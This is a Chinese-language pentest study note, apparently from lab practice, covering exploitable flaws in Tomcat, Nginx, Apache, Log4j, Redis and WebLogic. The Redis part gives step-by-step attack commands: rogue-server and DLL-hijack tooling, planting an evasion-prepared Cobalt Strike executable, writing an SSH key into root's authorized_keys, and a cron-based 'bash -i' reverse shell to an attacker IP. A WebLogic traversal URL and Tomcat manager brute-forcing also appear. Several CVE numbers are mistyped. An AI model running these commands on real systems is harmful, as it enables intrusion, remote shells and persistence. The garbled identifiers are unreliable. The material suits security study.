一、Tomcat (jsp网站)
弱口令&&部署war包
Vulhub下载yml文件,在kali运行
CVE-2017-12615[put方法] 运行环境:windows 且 开启http put(put默认关闭) 影响版本:apache tomcat 7.0.0-7.0.81 影响范围:(几乎实战中不存在,因为需要人为开启不必要的选项 )
CVE-2019-0232[CGIServlet命令注入]
CVE-2020-1938[AJP]
弱口令&&部署war包: (通用性漏洞-实战存在 )
War文件:web archive file是网络应用程序的文件格式。由于jsp特性,不像php能直接在www目录下运行,jsp需要中间件进行部署如tomcat,所以该漏洞是tomcat的通用型漏洞。)
如果有上图所示tomcat的展示界面,从manager app 窗口进行登录,从网上找口令尝试。或者访问 http://x.x.x.x:xx/manager/html 进入管理后台(若存在)。 进行暴力破解时,tomcat属于基础验证,在请求头中有经过base64加密的账号口令: tomcat:tomcat //base64加密前,使用bp的爆破模块,将账号字典和密码字典在excel上进行拼接,中间用冒号隔开,然后通过base64加密。
拉取镜像
Tomcat是apache的扩展,开发和调试JSP程序的首选,对应木马类型应该是.JSP脚本。低版本tomcat存在弱口令(<7),而tomcat8没有默认用户,需要管理员通过本地ip修改配置
环境起不来
二、Nginx
CVE-2013-4547[文件名逻辑错误]
起环境
该漏洞在文件名后面加一个空格就可以绕过(linux)
将文件名修改为xx…php[空格] 一样可以发送
通过bp或者edito 010修改hex(16进制数据),png….php中的前两个点为 20 00
接着访问该文件 如test.pnbg…php依然在bp修改hex ..为20 00 放行
可以成功解析php。原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
CVE-201707529[越界读取缓存漏洞]
先启动环境
运行poc,发现获取到了多余的缓存内容
目录穿越
原理:使用了不正确的配置。比如本该通过/file/定向到/home/(取别名,file相当于home),却写成/file缺少/结尾,导致可以/file../造成路径穿越
此时输入../能造成路径穿越
解析漏洞
类似 CVE-2013-4547 nginx调用fastcgi处理“ .php”文件时,若该文件不存在,就会触发修复路径的机制,解析上一层文件,也就是本来是https://ip/test.png/.php,由于该文件不存在,fastcgi进而解析test.png而该文件可以是图片马。
但是!如果php-fpm.conf中的security.limit_extensions指定fastcgi解析文件的类型时,只有该设置为空,也就是管理员未进行配置时,fastcgi才可以将“ .png”文件当成php代码执行
CVE-2019-11043[PHP-FPM远程代码执行漏洞]
三、Apache
CVE-2017-15715[换行解析漏洞]
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
上图为环境成功运行的反馈
如下图,直接上传文件会被拦截
在数据包中加入显示
多后缀解析漏洞
CVE-2021-40438[mod_proxy SSRF]
SSI远程命令执行
CVE-20221-41773[路径穿越]
只有符合该版本并且开cgi开启或cgid开启才可能被利用
上图环境起好了
CVE-2021-42013[路径穿越]
是对cve-2017-41773的绕过
Url二次解析绕过
四、Log4j
CVE-2017-5645[反序列化]
Log4j用于控制日志传输。信息格式级别
CVE-2021044228[JNDI注入]
环境起不来
Redis
Docker pull vertigo/redis4
Docker run -p 6379:6379 vertigo/redis4
1、
redis存在持久化机制,可以自动触发以及手动触发。手动触发可以通过“save”命令触发备份数据库中的数据,可以实现对服务器任意路径写入任意名称任意内容的数据。
利用条件:redis存在未授权:空口令连接。或者口令被爆破能成功连接上redis数据库,还需要开启web服务并且知道web目录的绝对路径。对文件具备读写权限。
原理:一个实例为主,其他示例为从,主负责写,从负责读。
条件。Redis存在未授权等漏洞被成功连接,目标主机和攻击主机网络联通,redis版本4.x、5.x,通过主从写入.so或者dll,使得目标主机执行被写入的命令。
工具:redis-rogue-server
Url:https://github.com/Dliv3/redis-rogue-server
命令:python3 redis-rogue-server.py –rhost=x.x.x.x(目标主机) –rport=6379 –lhost=x.x.x.x(攻击主机)
Windows下redis主从复制DLL劫持Getshell
工具:https://github.com/r35tart/RedisWriteFile //利用工具
恶意dll通过webshell调用利用:
Python3 RedisWriteFile.py –rhost x.x.x.x(目标主机) –lhost x.x.x.x(本地主机) –lfile dbghelp.dll –rfile dbghelp.dll
上传木马exe(cs上线木马)到目标主机的C:\\Windows\\Temp目录,该exe需要免杀
Python3 RedisWriteFile.py –rhost x.x.x.x(目标主机) –lhost x.x.x.x(本地主机) –lfile dbghelp.exe –rfile dbghelp.exe –rpath “C:\\Windows\\Temp”
下面是第二步dll生成的方式:
github上找dll-hijacking(https://github.com/rek7/dll-hijacking)
编辑该dll文件,修改dbghelp_的导出路径,即 dbghelp_=>C:\\Windows\\System32\\dbghelp
Linux系统下的redis
原理:利用Redis写入SSH公钥。Linux的ssh密钥登录功能是通过自带的免密功能生成公钥和对应的私钥,将公钥上传至目标主机特定位置并且特定命名,攻击机可通过私钥ssh连接。
而redis写公钥是将攻击机本机的ssh公钥作为value,然后修改数据库的默认路径为/root/.ssh和默认文件名authorized.keys,把数据备份到authorized.keys中,就可以通过密钥登录。
利用背景:redis能被成功连接且开放ssh,并且redis进程为高权限(写入位置在root)并开启密钥登录认证功能
在实际情况内网环境中,ssh可能不是22端口。
在kali的~/.ssh目录下输入(root权限): ssh-keygen -t rsa
即在当前目录下生成文件。
(echo -e “\n\n”;cat /Users/sven/.ssh/id_rsa.pub;echo -e “\n\n”) > key.txt
Cat key.txt | ./redis-cli -h x.x.x.x -x set xxx
Config set dir /root/.ssh/ //设置目录
Set dbfilename authorized_keys //设置文件名
Save //保存
Ssh -i /Users/sven/.ssh/id_rsa root@x.x.x.x
Redis写入linux计划任务
漏洞原理:将文件写入系统计划任务目录 /var/spool/cron/root文件来执行。Redis操作同写webshell,关键点是将一句话计划任务作为value,通过修改数据库的默认路径为 /var/spool/cron/和默认文件名root,将数据备份到root文件里,系统根据计划任务执行命令(和持久化道理一样)
利用条件:redis能被连接,目标主机能访问攻击机,且目标主机系统为centos,redis进程为高权限(什么叫高权限?)可以设置计划任务。
漏洞利用:连接上redis的情况下:
set xxx “\n\n*/1*****bash -i >& /dev/tcp/攻击机公网ip/443 0>&1\n” //反弹shell监听443端口
Config set dir /var/spool/cron/
Config set dbfilename root
Save
若不成功,需排查原因如出网的端口可能不是80或者443
Weblogic: (jsp网站)
CVE-2017-10271(前几年护网常见漏洞)weblogic反序列化漏洞
漏洞原理:weblogic server 的wls组件存在缺陷,由wls-wsat.war触发
Weblogic 10.3.6.0存在漏洞较多
CVE-2020-14883/CVE-2020-14882组合漏洞
14883在浏览器url地址栏输入:http://目标主机ip:目标主机端口/console/css/%252e%252e%252fconsole.portal 若成功返回可操作界面证明存在该漏洞。
通过14883可以使用14882进行命令执行getshell。
jboss(jsp网站)